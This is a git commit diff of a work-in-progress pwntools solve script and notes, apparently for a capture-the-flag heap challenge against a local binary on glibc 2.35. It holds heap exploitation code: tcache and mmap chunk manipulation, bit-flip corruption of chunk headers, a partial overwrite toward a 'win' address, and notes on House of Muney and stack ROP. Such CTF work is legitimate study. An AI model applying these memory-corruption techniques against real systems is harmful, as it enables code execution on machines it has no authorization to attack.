commit 97012a8c5f720fc7cc001799be1fda3d138085f2
parent d2d73f68c7b4ffdb3701fb43e2e533a8612cba72
Author: Louis Burda <quent.burda@gmail.com>
Date: Sun, 28 Apr 2024 00:08:30 +0200
Stash state
Diffstat:
M | solve/notes | | | 3 | +++ |
M | solve/solve | | | 120 | ++++++++++++++++++++++++++++++++++++------------------------------------------- |
2 files changed, 57 insertions(+), 66 deletions(-)
diff --git a/solve/notes b/solve/notes
@@ -69,3 +69,6 @@ use how2heap repo to find examples exploits for vulnerable libc version 2.35
# Nomal House of Muney does not work here, because it would unmap errno.
+
+Perhaps we can use the fact that stdin buf is on the stack.. we could flip the
+pointer from libc RW section to overwrite stack variables and ROP?
diff --git a/solve/solve b/solve/solve
@@ -7,7 +7,11 @@ import ctypes
args = sys.argv[1:]
if len(args) == 0:
- args = ["ssh", "-p", "1024", "root@localhost", "pkill gdbserver; gdbserver localhost:1025 /vuln"]
+ args = ["ssh", "-p", "1024", "root@localhost"]
+ if pwnlib.args.args.GDB:
+ args.append("pkill gdbserver; gdbserver localhost:1025 /vuln")
+ else:
+ args.append("/vuln")
io = process(args)
cci = 0
@@ -57,17 +61,23 @@ def flipv(index, offset, value):
bit = (value & -value).bit_length() -1
flip(index, offset + bit // 8, bit % 8)
+def alignup(a, b):
+ return (a if a % b == 0 else (a - (a % b) + b))
+
def adj(size):
- return size - 2 - 0x10 # malloc header + align
+ sizes = (0x78 * 2 ** i for i in reversed(range(12)))
+ inner = next(filter(lambda s: s < size, sizes))
+ assert(alignup(inner + 8, 16) == size)
+ return inner - 2
def mmap_adj(size):
- return size - 2 - 0x1000 # page aligned malloc header
+ return size - 2 - 0x1000
-def align_up(size, align):
- if size % align != 0:
- return size - size % align + align
- else:
- return size
+mmap_threshold_max = 0x2000000
+def mmap_adj_max(size):
+ assert(size > mmap_threshold_max) # single bit
+ mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25)))
+ return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes))
def flat(attrs, length):
data = bytearray(cc() * length)
@@ -87,78 +97,56 @@ mmap_size_2 = 0x78 * 2 ** 12 + pgsize
mmap_size_3 = 0x78 * 2 ** 13 + pgsize
mmap_size_4 = 0x78 * 2 ** 14 + pgsize
-# Calculate largest tcache-able chunk size allocated by get_delim.
-tcache_size = 0x78 * 2**3 + 0x10
-
-gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \
- + ' -ex "target remote localhost:1025" -ex "b main" -ex "b exit" -ex "continue"'
-run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
-
-back = alloc(cc() * adj(small_size))
-past = alloc(cc() * adj(small_size))
-target = alloc(cc() * adj(small_size))
-
-later = alloc(cc() * adj(tcache_size))
+# largest tcache-able chunk size allocated by get_delim.
+tcache_size = small_size # 0x78 * 2 + 0x10
-head = alloc(cc() * mmap_adj(mmap_size_1))
-front = alloc(cc() * mmap_adj(mmap_size_1))
+if pwnlib.args.args.GDB:
+ gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \
+ + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"'
+ run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False)
-grid = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(3)][::-1]
-list(map(free, grid))
+b = alloc(cc() * adj(small_size))
+c = alloc(cc() * adj(tcache_size))
+d = alloc(cc() * adj(tcache_size))
-free(front)
+# allocate these backwards in size, because getdelim allocs them growing bigger
+spacing = [alloc(cc() * mmap_adj(mmap_size_4))]
+spacing += [alloc(cc() * mmap_adj(mmap_size_4))]
+spacing += [alloc(cc() * mmap_adj(mmap_size_3))]
+spacing += [alloc(cc() * mmap_adj(mmap_size_2))]
+spacing += [alloc(cc() * mmap_adj(mmap_size_1))]
+spacing += [alloc(cc() * mmap_adj(mmap_size_1))]
-adjust = 0x5000
+a = alloc(cc() * mmap_adj(mmap_size_1))
+free(a)
-free(back)
-back_map = {
- mmap_size_3 - mmap_size_1 - 16: p64(0),
- mmap_size_3 - mmap_size_1 - 8: p64((mmap_size_1+adjust)^0b010)
-}
-index = len(grid)-1
-offset = mmap_size_1
-while True:
- offset += mmap_size_1
- if offset >= mmap_size_3:
- break
- back_map[mmap_size_3 - offset - 16] = p64(0)
- back_map[mmap_size_3 - offset - 8] = p64(mmap_size_1^0b010)
- index -= 1
-assert(index == 0)
+free(b)
+assert(b == alloc(flat({
+ mmap_size_3 - mmap_size_1 - 8: p64(tcache_size^0b001),
+}, mmap_adj(mmap_size_3))))
-back = alloc(flat(back_map, mmap_adj(mmap_size_3)))
+free(a)
-free(front) # adjust
+free(c)
-for i in range(1, len(grid)):
- free(grid[i])
+flipv(c, 0, 0x800000)
+#flipv(c, 0, 0x000040)
-free(target)
-target = alloc(cc() * mmap_adj(mmap_size_3))
+#list(map(free, spacing))
-past = alloc(cc() * mmap_adj(mmap_size_3))
-
-flip_size = 0x40000
-flip(grid[0], -8, flip_size)
-free(grid[0])
-
-#past = alloc(cc() * mmap_adj(mmap_size_3)))
-
-past = alloc(flat({
- mmap_size_3 - mmap_size_2 - 8: p64(tcache_size^0b001)
-}, mmap_adj(mmap_size_3)))
-
-free(target)
-
-free(later)
+c = alloc(cc() * adj(tcache_size))
embed()
-flip(later, 0, 0x400000)
+win = int.to_bytes(0x0ebaf3, 3, byteorder="little")
+a = alloc(cc() * 0x10 + b"\xf3")
-assert(later == alloc(adj(tcache_size)))
+#free(d) # to prevent issue with invalid reveal ptr in move#d chunk
-assert(target == alloc(adj(tcache_size)))
+# edit(a, b"X"*0x8+win)
+if pwnlib.args.args.GDB:
+ embed()
-embed()
+io.sendline(b"")
+io.interactive()